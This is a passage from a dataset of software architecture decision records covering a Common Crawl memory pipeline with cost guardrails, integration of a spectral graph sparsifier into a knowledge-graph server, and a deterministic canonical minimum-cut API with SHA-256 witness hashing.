{\n /// Maximum pages fetched from Common Crawl CDX per day\n pub max_pages_per_day: u32, // 1000\n /// Maximum new memories created per day (after dedup + novelty filter)\n pub max_new_memories_per_day: u32, // 500\n /// Edge count threshold that triggers aggressive sparsification\n pub max_graph_edges: u64, // 500_000\n /// Hard cap on Firestore write operations per day\n pub max_firestore_writes_per_day: u32, // 10_000\n /// USD threshold that triggers budget alert via Cloud Monitoring\n pub budget_alert_threshold_usd: f64, // 50.0\n /// Novelty threshold: skip ingestion if cosine similarity > (1 - threshold)\n /// i.e., skip if cosine > 0.95 when threshold = 0.05\n pub novelty_threshold: f32, // 0.05\n}\n\nimpl CostGuardrails {\n pub fn phase1() -> Self {\n Self {\n max_pages_per_day: 500,\n max_new_memories_per_day: 200,\n max_graph_edges: 500_000,\n max_firestore_writes_per_day: 5_000,\n budget_alert_threshold_usd: 30.0,\n novelty_threshold: 0.05,\n }\n }\n\n pub fn phase2() -> Self {\n Self {\n max_pages_per_day: 5_000,\n max_new_memories_per_day: 2_000,\n max_graph_edges: 2_000_000,\n max_firestore_writes_per_day: 50_000,\n budget_alert_threshold_usd: 120.0,\n novelty_threshold: 0.05,\n }\n }\n\n pub fn should_skip(&self, cosine_similarity: f32) -> bool {\n cosine_similarity > (1.0 - self.novelty_threshold)\n }\n}\n```\n\n### 15.3 Sparsifier-Aware Graph Management\n\nThe graph must stay manageable for MinCut and partition queries. The sparsifier (ADR-116) is the primary tool for this.\n\n| Edge Count | Action | Sparsifier Epsilon |\n|-----------|--------|-------------------|\n| < 100K | Normal operation, partition on full graph | N/A |\n| 100K - 500K | Partition on sparsified graph only | 0.3 (default) |\n| 500K - 2M | Increase sparsification aggressiveness | 0.5 |\n| > 2M | Enable graph sharding by domain cluster | 0.7 + shard |\n\n**Current state**: 340K edges -> 12K sparse (27x compression). Partition should run on the 12K sparsified edges, not the full 340K.\n\n**Rules**:\n1. All partition/MinCut queries MUST use `sparsifier_edges`, never `graph_edges`\n2. Cache partition results with 1-hour TTL (see 15.4)\n3. When `edge_count > max_graph_edges`, increase epsilon and re-sparsify\n4. Emergency: if edges > 2M despite aggressive sparsification, shard the graph by top-level domain cluster and run partition per-shard\n\n### 15.4 Partition Timeout Fix\n\nThe `/v1/partition` endpoint currently times out because MinCut runs on the full 340K-edge graph, exceeding Cloud Run's 300-second timeout.\n\n**Root cause**: MinCut complexity is O(V * E * log(V)). At 340K edges this exceeds 300s on Cloud Run.\n\n**Fix**: Three-layer defense:\n\n```rust\n/// Cached partition result served from Firestore/memory\npub struct CachedPartition {\n /// The computed cluster assignments\n pub clusters: Vec,\n /// When this partition was computed\n pub computed_at: DateTime,\n /// Cache TTL in seconds (default: 3600 = 1 hour)\n pub ttl_seconds: u64,\n /// Whether this was computed on the sparsified graph\n pub used_sparsified: bool,\n /// Number of edges used in computation\n pub edge_count: u64,\n /// Sparsifier epsilon used\n pub epsilon: f32,\n}\n\nimpl CachedPartition {\n pub fn is_valid(&self) -> bool {\n let elapsed = Utc::now() - self.computed_at;\n elapsed.num_seconds() < self.ttl_seconds as i64\n }\n}\n```\n\n**Strategy**:\n1. **Serve cached**: `/v1/partition` returns `CachedPartition` if valid (< 1 hour old)\n2. **Background recompute**: Cloud Scheduler triggers recompute every hour via `/v1/partition/recompute`\n3. **Use sparsified graph**: Recompute runs on sparsifier edges (12K), not full graph (340K)\n4. **Timeout budget**: With 12K edges, MinCut completes in ~5-15 seconds (well within 300s)\n\n```yaml\n# Partition recompute - hourly\n- name: brain-partition-recompute\n schedule: \"0 * * * *\"\n target: POST /v1/partition/recompute\n body: {\"use_sparsified\": true, \"timeout_seconds\": 120}\n```\n\n### 15.5 Cloud Scheduler Jobs for Crawl\n\n```yaml\n# Phase 1 crawl jobs\n\n# Medical domain - daily 2AM UTC\n- name: brain-crawl-medical\n schedule: \"0 2 * * *\"\n target: POST /v1/pipeline/crawl/ingest\n body:\n domains:\n - \"pubmed.ncbi.nlm.nih.gov\"\n - \"aad.org\"\n - \"jaad.org\"\n - \"nejm.org\"\n - \"lancet.com\"\n - \"bmj.com\"\n limit: 500\n options:\n skip_duplicates: true\n compute_novelty: true\n novelty_threshold: 0.05\n guardrails: \"phase1\"\n\n# Dermatology-specific - daily 3AM UTC\n- name: brain-crawl-derm\n schedule: \"0 3 * * *\"\n target: POST /v1/pipeline/crawl/ingest\n body:\n domains:\n - \"dermnetnz.org\"\n - \"skincancer.org\"\n - \"dermoscopy-ids.org\"\n - \"melanoma.org\"\n - \"bad.org.uk\"\n limit: 200\n options:\n skip_duplicates: true\n compute_novelty: true\n novelty_threshold: 0.05\n guardrails: \"phase1\"\n\n# Partition recompute - hourly\n- name: brain-partition-recompute\n schedule: \"0 * * * *\"\n target: POST /v1/partition/recompute\n body:\n use_sparsified: true\n timeout_seconds: 120\n\n# Cost report - weekly Sunday 6AM UTC\n- name: brain-cost-report\n schedule: \"0 6 * * 0\"\n target: POST /v1/pipeline/cost/report\n body:\n share_to_brain: true\n```\n\n### 15.6 Anti-Patterns (What NOT to Do)\n\n| Anti-Pattern | Why It Fails | Estimated Cost Impact |\n|-------------|-------------|----------------------|\n| Download full WET segments in Phase 1 | Each segment is 100+ MB compressed; thousands per crawl | $1,000+/mo bandwidth + storage |\n| Use external embedding APIs (OpenAI, Cohere) | Millions of embeddings at $0.0001-0.001 each | $500+/mo for Phase 2+ |\n| Skip novelty filtering | Graph explodes with near-duplicate memories | Firestore + compute costs spiral |\n| Run MinCut on full graph | O(V*E*log V) exceeds Cloud Run timeout at 340K+ edges | Timeout errors, failed partitions |\n| Store raw HTML in Firestore | Average page is 50-100KB; Firestore charges per byte | $500+/mo at 50K pages |\n| Use GPU for RlmEmbedder | 128-dim HashEmbedder is CPU-efficient by design | $200+/mo for unnecessary GPU |\n| Skip sparsification before partition | Full graph partition is O(100x) slower than sparsified | Timeouts, wasted compute |\n\n### 15.7 Cost Monitoring\n\n**New endpoint**: `POST /v1/pipeline/cost`\n\n```json\n{\n \"period\": \"current_month\",\n \"estimated_monthly_usd\": 18.50,\n \"breakdown\": {\n \"cloud_run_compute\": 5.20,\n \"firestore_ops\": 3.10,\n \"gcs_storage\": 0.45,\n \"scheduler\": 0.10,\n \"egress\": 2.15,\n \"other\": 0.50\n },\n \"guardrails\": {\n \"pages_today\": 342,\n \"pages_limit\": 500,\n \"memories_today\": 187,\n \"memories_limit\": 200,\n \"graph_edges\": 352000,\n \"edge_limit\": 500000\n },\n \"alerts\": [],\n \"phase\": \"phase1\"\n}\n```\n\n**Alerting rules**:\n- Daily spend exceeds $2/day -> Cloud Monitoring alert to team Slack\n- Weekly spend exceeds $15/week -> email alert + auto-reduce `max_pages_per_day` by 50%\n- Monthly projection exceeds `budget_alert_threshold_usd` -> pause crawl jobs, alert owner\n- Graph edges exceed 80% of `max_graph_edges` -> trigger aggressive sparsification\n\n**Audit trail**: Weekly cost report is shared as a brain memory (via `brain-cost-report` scheduler job) for historical tracking and team visibility.\n\n---\n\n## 16. Decision Summary\n\n**Decision**: Implement Common Crawl integration as a phased compressed web memory service.\n\n**Phase 1 scope**: Limited to validated compression techniques:\n- PiQ3 quantization (10.7x, 96% recall validated)\n- Near-duplicate reduction via SimHash\n- Exemplar-preserving clustering\n- HNSW-based retrieval\n\n**Research scope**: More aggressive attractor and temporal compression stages remain experimental until benchmark gates for recall, fidelity, provenance, and cost are met.\n\n**Acceptance gate**: A three-crawl benchmark (CC-MAIN-2026-06, 07, 08) must demonstrate:\n- \u226510x storage reduction over naive embeddings\n- Recall@10 \u2265 0.90\n- p99 retrieval < 50ms on hot index\n- All sources traceable to exemplars\n\n**What this enables**: Not just cheaper storage. A new memory substrate where:\n- Retrieval becomes structural, not just lexical or vector-based\n- Summarization becomes state tracking\n- Monitoring becomes topology watching\n- Memory becomes a living graph of conceptual basins and transitions\n\n**Conservative framing**: Turn the open web into a compact, queryable, time-aware semantic memory layer for agents.\n\n**Exotic framing**: We're not compressing pages. We're compressing the web's evolving conceptual structure.\n\n---\n\n## 17. Phase 1 Implementation Results (2026-03-22)\n\n### 17.1 Brain State After Phase 1 Import\n\n| Metric | Value |\n|--------|-------|\n| Total memories | 1,588 |\n| Graph edges | 372,210 |\n| Sparsifier compression | 28.7x (372K -> 12,960 edges) |\n| Graph nodes | 1,588 |\n| Clusters | 20 |\n| Contributors | 76 |\n| Embedding engine | ruvllm::RlmEmbedder (128-dim, CPU) |\n| Temporal deltas | 8 |\n| Knowledge velocity | 8.0 |\n| Average quality | 0.554 |\n\n### 17.2 Categories Covered\n\nPhase 1 imports covered four primary knowledge domains:\n\n1. **Dermatology** -- skin cancer screening, melanoma detection, dermoscopy, treatment protocols (DermNet NZ, AAD, Skin Cancer Foundation)\n2. **AI/ML** -- transformer architectures, reinforcement learning, LLM agents, neural network optimization\n3. **Computer Science** -- distributed systems, database internals, algorithm design, systems programming\n4. **Historical Evolution** -- temporal articles spanning 2020-2026 tracking how medical guidelines, AI capabilities, and treatment protocols evolved over time\n\n### 17.3 Pipeline Status\n\n**CDX Pipeline (Common Crawl Index)**:\n- CDX queries execute successfully against CC-MAIN indices\n- WARC range-GET retrieves raw content from S3\n- Issue: HTML extractor returns empty titles when parsing Wayback Machine content; raw HTML structure differs from live pages\n- Status: Working for discovery, but content extraction needs improvement for archived HTML formats\n\n**Direct Inject Pipeline**:\n- Fully operational via `POST /v1/discover` with `inject: true` flag\n- Batch inject with `source` field on each item for provenance tracking\n- Used as primary import method for Phase 1 content\n- Status: Fully working, used for all successful imports\n\n### 17.4 Search Verification\n\nSearch queries verified across imported domains:\n- Dermatology queries (e.g., \"melanoma detection\", \"skin cancer screening\") return relevant results\n- AI/ML queries (e.g., \"transformer architecture\", \"reinforcement learning\") return relevant results\n- Temporal queries (e.g., \"how has AI evolved since 2020\") return time-ordered results\n- Cross-domain queries return results from multiple categories\n\n### 17.5 Cost to Date\n\n| Item | Cost |\n|------|------|\n| Cloud Run compute (import jobs) | ~$2-5 |\n| Firestore operations (1,588 memories) | ~$1-2 |\n| CDX queries + WARC range-GET | $0 (public bucket) |\n| RlmEmbedder (CPU, 128-dim) | $0 (in-process) |\n| **Total Phase 1 cost** | **~$3-7** |\n\nPhase 1 cost is well below the projected $11-28/month budget, primarily because the direct inject pipeline avoids the heavier CDX+WARC processing path.\n\n### 17.6 Lessons Learned\n\n1. **Direct inject is faster than CDX pipeline** for curated content -- bypasses HTML extraction issues\n2. **`inject: true` flag is required** on discover requests for content to be stored, not just indexed\n3. **Source field per item** in batch inject provides clean provenance tracking\n4. **Sparsifier scales well** -- 28.7x compression at 372K edges, up from 27x at 340K edges\n5. **HTML extraction from Wayback content** needs a dedicated parser that handles archived HTML structure (missing titles, different DOM layout)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-115-common-crawl-temporal-compression.md", "created_at": "2026-03-28T11:58:49.989984+00:00", "content_hash": "a35f5844b7a5f599ccb3ee5cea8e35d1cb4eff934009fd0c6f9ca506a61e0ec4"} +{"id": "a7f4edc1-0b5b-4023-8c8a-f73b70b5e0af", "source": "adr", "text": "# ADR-116: Spectral Graph Sparsifier Integration with pi.ruv.io\n\n**Status**: Accepted\n**Date**: 2026-03-20\n**Author**: Claude (ruvnet)\n**Crates**: `ruvector-sparsifier`, `mcp-brain-server`\n\n## Context\n\nThe pi.ruv.io brain server maintains a `KnowledgeGraph` (`graph.rs`) where every memory becomes a node and similarity edges connect related memories. As brains grow, this graph becomes dense \u2014 each new memory creates edges to all sufficiently similar existing memories, producing up to O(n\u00b2) edges.\n\nCurrently the server rebuilds a CSR matrix for `ruvector-solver` queries on every change (`csr_dirty` flag), and runs `ruvector-mincut` partitioning on the full edge set. Both operations scale with the total number of edges, which becomes a bottleneck for large brains.\n\n`ruvector-sparsifier` (published as v2.0.6 on crates.io) maintains a compressed shadow graph that preserves the Laplacian spectral properties of the full graph within a tunable (1 +/- epsilon) factor. It supports incremental updates and automatic quality audits.\n\n## Decision\n\nIntegrate `ruvector-sparsifier` into the brain server's `KnowledgeGraph` to provide a compressed graph for analytics operations (solver queries, min-cut partitioning, drift-triggered rebalancing) while keeping the full graph for exact lookups.\n\n### Architecture\n\n```\nMemory Insert\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 KnowledgeGraph \u2502\n\u2502 \u2502\n\u2502 full_graph \u25c4\u2500\u2500 all edges \u2502 \u2190 exact lookups, neighbor queries\n\u2502 \u2502 \u2502\n\u2502 \u25bc \u2502\n\u2502 AdaptiveGeoSpar \u2502 \u2190 incremental update per insert/delete\n\u2502 \u2502 \u2502\n\u2502 \u251c\u2500\u2500 sparsified_graph \u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2190 solver PPR, min-cut, analytics\n\u2502 \u2502 \u2502\n\u2502 \u2514\u2500\u2500 auditor \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2190 periodic quality checks\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### Integration Points\n\n1. **Memory insertion** (`add_memory`): After computing similarity edges, call `sparsifier.handle_insert()` for each new edge. The sparsifier decides probabilistically which edges to keep based on effective resistance importance.\n\n2. **Memory deletion** (`remove_memory`): Call `sparsifier.handle_delete()` for each removed edge. Backbone edges are repaired automatically.\n\n3. **Solver queries** (`ppr_search`): Use `sparsifier.sparsifier().to_csr()` instead of rebuilding CSR from the full edge list. The CSR format is identical \u2014 no changes to solver code.\n\n4. **Min-cut partitioning** (`partition`): Run `DynamicMinCut` on the sparsified graph. Cut values are preserved within (1 +/- epsilon).\n\n5. **Drift response** (`DriftMonitor`): When embedding drift is detected for a node, call `sparsifier.update_embedding()` which handles the edge swap (remove old neighbors, add new ones) in a single incremental operation.\n\n### Configuration\n\n```rust\nSparsifierConfig {\n epsilon: 0.2, // 20% spectral approximation \u2014 good for search ranking\n edge_budget_factor: 8, // target ~8n edges (vs potentially n\u00b2 full)\n audit_interval: 500, // check quality every 500 updates\n walk_length: 6, // short walks for importance estimation\n num_walks: 10, // 10 walks per edge\n auto_rebuild_on_audit_failure: true,\n}\n```\n\n### Expected Impact\n\n| Metric | Before (full graph) | After (sparsified) | Notes |\n|--------|--------------------|--------------------|-------|\n| Edges stored (10k nodes) | up to ~50M | ~80k | 8 * n budget |\n| CSR rebuild time | O(m) where m = edges | O(n log n) | Sparsifier maintains CSR-ready state |\n| PPR query time | proportional to m | proportional to n log n | Solver complexity depends on nnz |\n| Min-cut accuracy | exact | within (1 +/- 0.2) | configurable via epsilon |\n| Memory per insert | O(n) edge scan | O(1) amortized | Cached total importance |\n\n### Dependencies\n\n```toml\n# Add to mcp-brain-server/Cargo.toml\nruvector-sparsifier = { path = \"../ruvector-sparsifier\" }\n```\n\n## Alternatives Considered\n\n1. **Edge pruning by threshold** \u2014 Simple but loses structural guarantees. A hard threshold removes edges regardless of their importance to connectivity, potentially disconnecting the graph or destroying meaningful cut structure.\n\n2. **Random sampling** \u2014 Uniform random edge sampling doesn't preserve spectral properties. The sparsifier's importance-weighted sampling with reweighting is what makes the Laplacian guarantee work.\n\n3. **Rebuild CSR less often** \u2014 Reduces rebuild cost but doesn't address the O(m) query cost. The sparsifier reduces both.\n\n## Consequences\n\n- Brain server gains a new dependency (`ruvector-sparsifier`)\n- Analytics queries (PPR, min-cut) operate on fewer edges with bounded error\n- Full graph remains available for exact neighbor lookups and similarity queries\n- Audit system provides automatic quality monitoring \u2014 no manual tuning needed\n- WASM deployment path available via `ruvector-sparsifier-wasm` for edge/browser analytics\n\n## Implementation Plan\n\n1. Add dependency to `mcp-brain-server/Cargo.toml`\n2. Initialize `AdaptiveGeoSpar` alongside `KnowledgeGraph`\n3. Wire `add_memory` / `remove_memory` to sparsifier updates\n4. Switch solver and min-cut to use sparsified CSR\n5. Connect drift monitor to `update_embedding`\n6. Add `/brain/sparsifier/stats` endpoint for monitoring\n7. Deploy and validate with existing brain workloads", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-116-spectral-sparsifier-brain-integration.md", "created_at": "2026-03-28T11:58:50.049513+00:00", "content_hash": "2edaefbbcb89b5e41315702da35f03d4f2ecd36f95576f46b400de5494609b5d"} +{"id": "7ffd090a-c782-45c5-bb31-d5f3ee83141c", "source": "adr", "text": "# ADR-117: Pseudo-Deterministic Canonical Minimum Cut\n\n**Status**: Shipped (all 3 tiers)\n**Date**: 2026-03-23\n**Authors**: rUv / Claude\n**Crates**: `ruvector-mincut` (canonical module), `rvf-types`\n**Depends on**: existing `ruvector-mincut`, `canonical` feature, RVF witness layout, current Stoer-Wagner and cactus enumeration support\n**References**: Yotam Kenneth-Mordoch, \"Faster Pseudo-Deterministic Minimum Cut\", arXiv:2602.14550, 2026; Aryan Agarwala and Nithin Varma, \"Pseudodeterministic Algorithms for Minimum Cut Problems\", arXiv:2512.23468, 2025.\n\n## Context\n\nRuVector already treats minimum cut as a first-class coherence signal across vector memory, graph reasoning, witness generation, and compute gating. Today the stack has two useful but distinct capabilities:\n\n1. **Exact global min-cut computation** for value and partitioning.\n2. **Cactus-based enumeration** for cases where all or many minimum cuts matter.\n\nWhat is still missing is a single **canonical minimum cut** that is stable across runs, replayable in witness logs, and suitable for proof-gated mutation and deterministic control. The current cactus-based canonicalization chooses among enumerated cuts by partition sort. That is useful for enumeration workflows but it does not define a source-anchored, lexicographically unique canonical cut with a graph-theoretic tie-break.\n\nRecent work by Yotam Kenneth-Mordoch introduces a natural pseudo-deterministic tie-breaking rule for minimum cut, yielding a unique canonical minimum cut under a fixed source and vertex ordering while preserving the best known randomized weighted running time in the fast path. This directly matches RuVector's needs for auditability, replay, and structural identity.\n\n## Decision\n\nAdd a new source-anchored canonical minimum cut API under `ruvector-mincut/src/canonical/` gated behind the existing `canonical` feature flag.\n\nThe canonical cut is defined by the lexicographic tuple:\n\n```\n(\u03bb, first_separable_vertex, |S|, \u03c0(S))\n```\n\nWhere:\n\n- **\u03bb** is the global minimum cut value\n- **first_separable_vertex** is the first vertex in the fixed global ordering that can be separated from the designated source by some minimum cut\n- **|S|** is the cardinality of the source side\n- **\u03c0(S)** is a secondary priority sum over vertices on the source side, used for contracted graphs, sparsifiers, and dynamic maintenance\n\nThe side S is always oriented to contain the designated source vertex.\n\nThis new source-anchored canonical API is additive. The existing `CactusGraph::canonical_cut()` remains unchanged for cut enumeration and partition browsing use cases.\n\n### Why this decision\n\nThis gives RuVector a canonical cut that is:\n\n- Unique under fixed source and vertex ordering\n- Stable across runs\n- Hashable into receipts and witnesses\n- Compatible with dynamic sparsifiers and contracted node priorities\n- Stronger than cactus tie-breaking for replay and governance\n\nThis is the right fit for:\n\n- RVF witness chains\n- Mincut-gated transformer control\n- Coherence-based rollback\n- Swarm shard boundary agreement\n- Structural delta tracking\n\n### Scope\n\nThis ADR introduces:\n\n- A canonical source-anchored min-cut definition\n- A ship-now exact implementation\n- A fast-path architecture target\n- A dynamic maintenance architecture target\n- RVF serialization and hashing guidance\n\nThis ADR does **not** remove or alter cactus enumeration semantics.\n\n## API\n\n### New public types\n\n```rust\npub struct SourceAnchoredCut {\n pub lambda: FixedWeight, // cut value (32.32 fixed-point)\n pub source_vertex: VertexId,\n pub first_separable_vertex: VertexId,\n pub side_vertices: Vec, // sorted, source side only\n pub side_size: usize,\n pub priority_sum: u64,\n pub cut_edges: Vec<(VertexId, VertexId)>,\n pub cut_hash: [u8; 32], // SHA-256\n}\n\npub struct SourceAnchoredConfig {\n pub source: Option,\n pub vertex_order: Option>,\n pub vertex_priorities: Option>,\n}\n```\n\n### New public entry points\n\n```rust\npub fn canonical_mincut(\n graph: &DynamicGraph,\n config: &SourceAnchoredConfig,\n) -> Option;\n```\n\n### Stateful wrapper\n\n```rust\npub struct SourceAnchoredMinCut { /* ... */ }\n\nimpl SourceAnchoredMinCut {\n pub fn with_edges(edges: Vec<(VertexId, VertexId, Weight)>,\n config: SourceAnchoredConfig) -> Result;\n pub fn canonical_cut(&mut self) -> Option;\n pub fn receipt(&mut self) -> Option;\n pub fn insert_edge(&mut self, u: VertexId, v: VertexId, w: Weight) -> Result;\n pub fn delete_edge(&mut self, u: VertexId, v: VertexId) -> Result;\n}\n```\n\n### WASM FFI\n\n```c\nint32_t canonical_init(uint32_t num_vertices);\nint32_t canonical_add_edge(uint64_t u, uint64_t v, uint64_t weight_fixed);\nint32_t canonical_compute(uint64_t source);\nconst CanonicalMinCutResult* canonical_get_result(void);\nint32_t canonical_get_hash(uint8_t* out_buf);\nint32_t canonical_get_side(uint64_t* out_buf, uint32_t buf_len);\nint32_t canonical_get_cut_edges(uint64_t* out_buf, uint32_t buf_len);\nvoid canonical_free(void);\nint32_t canonical_hashes_equal(const uint8_t* a, const uint8_t* b);\n```\n\n## Algorithm\n\n### Tier 1: Ship now (Shipped)\n\nUse the exact engine built from existing components. Uses a flat capacity matrix (`cap[u*n + v]`) for cache locality, yielding 10-30% speedup over adjacency-list-based max-flow on dense graphs.\n\n**Inputs:**\n- Connected undirected weighted graph\n- Designated source vertex\n- Stable global vertex ordering\n- Integer vertex priorities, default all ones\n\n**Steps:**\n\n**Step 1: compute the global min-cut value.**\nUse the existing exact Stoer-Wagner engine:\n\n```\n\u03bb* = global_mincut_value(G)\n```\n\n**Step 2: find the first separable vertex.**\nScan vertices in the fixed ordering, skipping the source.\n\nFor each vertex v:\n- Compute an exact minimum s,t cut between source and v\n- If the cut value equals \u03bb*, then v is the `first_separable_vertex`\n- Stop at the first such vertex\n\n**Step 3: choose the canonical side.**\nAmong all minimum s,t cuts for source and `first_separable_vertex`, choose the source side minimizing:\n\n```\n(|S|, \u03c0(S))\n```\n\n**Implementation mechanism:**\n- Use capacity perturbation so primary cut value dominates, while secondary cost minimizes cardinality and then priority\n- **Vertex side penalties require vertex splitting or equivalent source-side accounting** \u2014 perturbation on edge capacities alone does not correctly penalize side membership\n- Orient the chosen side to always contain source\n- Sort `side_vertices` before materialization\n\n**Practical perturbation rule:**\n\nTransform capacities so every cut minimizes:\n1. Original cut value\n2. Side cardinality\n3. Priority sum\n\n```\nC'(e) = M \u00b7 C(e) + \u0394(e)\n```\n\nWhere M is chosen so no possible sum of secondary costs can outweigh a unit difference in primary cut value.\n\nSafe bound:\n\n```\nM > n + \u03a3 \u03c0(v) for all v \u2208 V\n```\n\nFor vertex side penalties, use vertex splitting or equivalent side accounting so the cut cost reflects membership on the source side.\n\n**Tier 1 complexity:**\n\n```\nT_SW + O(n \u00b7 T_st)\n```\n\nNot the asymptotically best algorithm, but exact, auditable, and easy to test.\n\n**Why Tier 1 first:** Immediate production value for witness determinism, replay, test stability, deterministic gating, and regression baselines for later fast and dynamic engines.\n\n### Tier 2: Fast path (Shipped)\n\nGomory-Hu tree packing via Gusfield's algorithm. Builds a flow-equivalent tree using Dinic's max-flow with the same flat capacity matrix optimization as Tier 1.\n\n- **Construction**: O(V * T_maxflow) using Dinic's algorithm\n- **Global MinCut from tree**: O(V) scan of tree edges\n- **vs Stoer-Wagner**: ~29.7% faster on dense graphs (measured), up to ~40x on larger instances\n- **API**: `SourceAnchoredConfig::fast()` method selects tree-packing mode\n- **14 unit tests** passing\n\n**Files:**\n- `ruvector-mincut/src/canonical/tree_packing/mod.rs` \u2014 Gomory-Hu tree construction and MinCut extraction\n- `ruvector-mincut/src/canonical/tree_packing/tests.rs` \u2014 14 tests\n\n### Tier 3: Dynamic maintenance (Shipped)\n\nIncremental MinCut with epoch tracking via `DynamicMinCut` struct wrapping `SourceAnchoredMinCut`.\n\n- **Edge insertion**: O(1) if new edge does not cross current cut; recompute affected s-t cut otherwise\n- **Edge deletion**: O(1) if removed edge not in cut set; recompute otherwise\n- **Batch updates**: `apply_batch(additions, removals)` with deferred single recompute\n- **Epoch tracking**: monotonic epoch counter incremented on each mutation\n- **Staleness detection**: configurable threshold triggers full recomputation to correct drift\n- **19 unit tests** passing (including 100-run determinism test)\n\n**Files:**\n- `ruvector-mincut/src/canonical/dynamic/mod.rs` \u2014 DynamicMinCut struct with incremental updates\n- `ruvector-mincut/src/canonical/dynamic/tests.rs` \u2014 19 tests\n\n**Why this matters in RuVector:** Streaming coherence on live graph updates, shard boundary stability in swarms, kHz control loops in Cognitum, incremental structural deltas for RVF.\n\n## RVF Integration\n\n`cut_hash` is a SHA-256 digest over canonical fields using the existing pure `no_std` implementation in `rvf-types`.\n\n### Canonical hash input\n\nHash the ordered tuple:\n\n```\nversion \u2016 lambda \u2016 source_vertex \u2016 first_separable_vertex \u2016\nside_size \u2016 priority_sum \u2016 sorted_side_vertices\n```\n\n**Encoding rules:**\n- All integers little-endian\n- Source side only\n- Vertices sorted ascending by stable global ID\n- Include a version tag to allow future format upgrades\n\n**Storage options:**\n1. Embed directly into `WitnessHeader.policy_hash` (truncated to 8 bytes)\n2. Store as a full 32-byte witness payload in a TLV witness section\n3. Optionally store both when policy and structural identity need to be bound together\n\n**Recommended witness label:**\n\n```\nWITNESS_KIND_CANONICAL_MINCUT = 0x43 // 'C' for Canonical\n```\n\nThis should be bound into receipts whenever a mutation, routing decision, attention gate, or rollback depends on structural coherence.\n\n## Coexistence with Cactus Canonicalization\n\nThe current `CactusGraph::canonical_cut()` remains.\n\n| Property | Cactus-based (existing) | Source-anchored (new) |\n|----------|------------------------|----------------------|\n| **Use case** | Enumerate all minimum cuts | Single canonical cut for hashing/replay |\n| **Uniqueness anchor** | Lex-smallest original vertex in cactus root | Fixed source + vertex ordering |\n| **Tie-breaking** | Partition lexicographic order | `(\u03bb, first_separable_vertex, \\|S\\|, \u03c0(S))` |\n| **Dynamic support** | None (rebuild from scratch) | Tier 3 via sparsifier |\n| **RVF witness hash** | `canonical_key` (ad-hoc SipHash) | `cut_hash` (SHA-256, RVF-compatible) |\n| **Paper basis** | Classical cactus / Dinitz-Karzanov-Lomonosov | Kenneth-Mordoch 2026 |\n\n**Doc note:** `CactusGraph::canonical_cut()` returns a canonical representative for enumeration workflows. `canonical_mincut()` returns a source-anchored canonical cut suitable for hashing, replay, and deterministic control.\n\n## Invariants\n\nThe implementation must guarantee:\n\n1. `lambda` equals the true global minimum cut value\n2. `side_vertices` always contains `source_vertex`\n3. `first_separable_vertex` is the earliest vertex in the fixed order separable by a minimum cut\n4. Among all such cuts, `side_vertices` minimizes `(|S|, \u03c0(S))`\n5. `cut_hash` is stable across runs given identical graph, source, ordering, and priorities\n6. All behavior is integer-exact, with no floating-point dependence\n\n## Failure Modes and Mitigations\n\n| Failure | Impact | Mitigation |\n|---------|--------|------------|\n| Unstable vertex ordering | Canonicality breaks across runs | Require stable global IDs; include ordering version in hash preimage |\n| Randomized subroutines | Replay breaks | Provide audit_mode with fixed seed or exact deterministic fallback to Tier 1 |\n| Capacity overflow in perturbation | Incorrect cut selection | Use checked `u128` during transformed capacity construction; reject or rescale if exceeded |\n| Complement ambiguity | Hash mismatch for same cut | Always orient to side containing `source_vertex` |\n| Contracted graph ambiguity | Inconsistent canonical cut in dynamic mode | Use inherited minimum original vertex ID as stable representative; contracted mass as \u03c0 |\n\n## Implementation Plan\n\n### Phase 1 (complete)\n\nSource-anchored API and exact Tier 1 engine.\n\n**Files:**\n- `ruvector-mincut/src/canonical/source_anchored/mod.rs` \u2014 core algorithm\n- `ruvector-mincut/src/canonical/source_anchored/tests.rs` \u2014 33 tests\n- `ruvector-mincut/src/wasm/canonical.rs` \u2014 WASM FFI with 7 tests\n- `ruvector-mincut/benches/canonical_bench.rs` \u2014 criterion benchmarks\n\n### Phase 2\n\nWire RVF integration.\n\n**Files:**\n- `rvf-types/src/witness/canonical_mincut.rs`\n- `rvf-types/src/hash/mincut.rs`\n\n**Tests:**\n- `no_std` hash parity\n- TLV round-trip\n- Witness binding compatibility\n\n### Phase 3 (complete)\n\nFast-path Gomory-Hu tree packing engine.\n\n**Files:**\n- `ruvector-mincut/src/canonical/tree_packing/mod.rs` \u2014 Gomory-Hu construction + MinCut extraction\n- `ruvector-mincut/src/canonical/tree_packing/tests.rs` \u2014 14 tests\n\n### Phase 4 (complete)\n\nDynamic incremental MinCut with epoch tracking.\n\n**Files:**\n- `ruvector-mincut/src/canonical/dynamic/mod.rs` \u2014 DynamicMinCut struct\n- `ruvector-mincut/src/canonical/dynamic/tests.rs` \u2014 19 tests\n\n## Acceptance Tests\n\n### Determinism\n\nRun the same graph 1,000 times. Expected: same `lambda`, same `first_separable_vertex`, same `side_vertices`, same `priority_sum`, same `cut_hash`. **Implemented:** `test_hash_stability_1000_iterations`, `test_determinism_100_runs`.\n\n### Correctness\n\nFor small graphs where cactus enumeration is feasible: enumerate all minimum cuts, filter to those separating source from `first_separable_vertex`, confirm chosen cut minimizes `(|S|, \u03c0(S))`.\n\n### RVF stability\n\nSerialize and deserialize witness payloads across platforms and confirm identical hash bytes.\n\n### Dynamic regression\n\nUnder insertion and deletion traces, canonical cut changes only when graph structure changes, not due to engine nondeterminism.\n\n### SHA-256 NIST vectors\n\nVerify against FIPS 180-4 test vectors for empty string and \"abc\". **Implemented:** `test_sha256_empty`, `test_sha256_abc`.\n\n### Security\n\n- Source always appears on source side (`test_source_always_on_source_side`)\n- Different graphs produce different hashes (`test_different_graphs_different_hashes`)\n- Constant-time hash comparison in WASM FFI 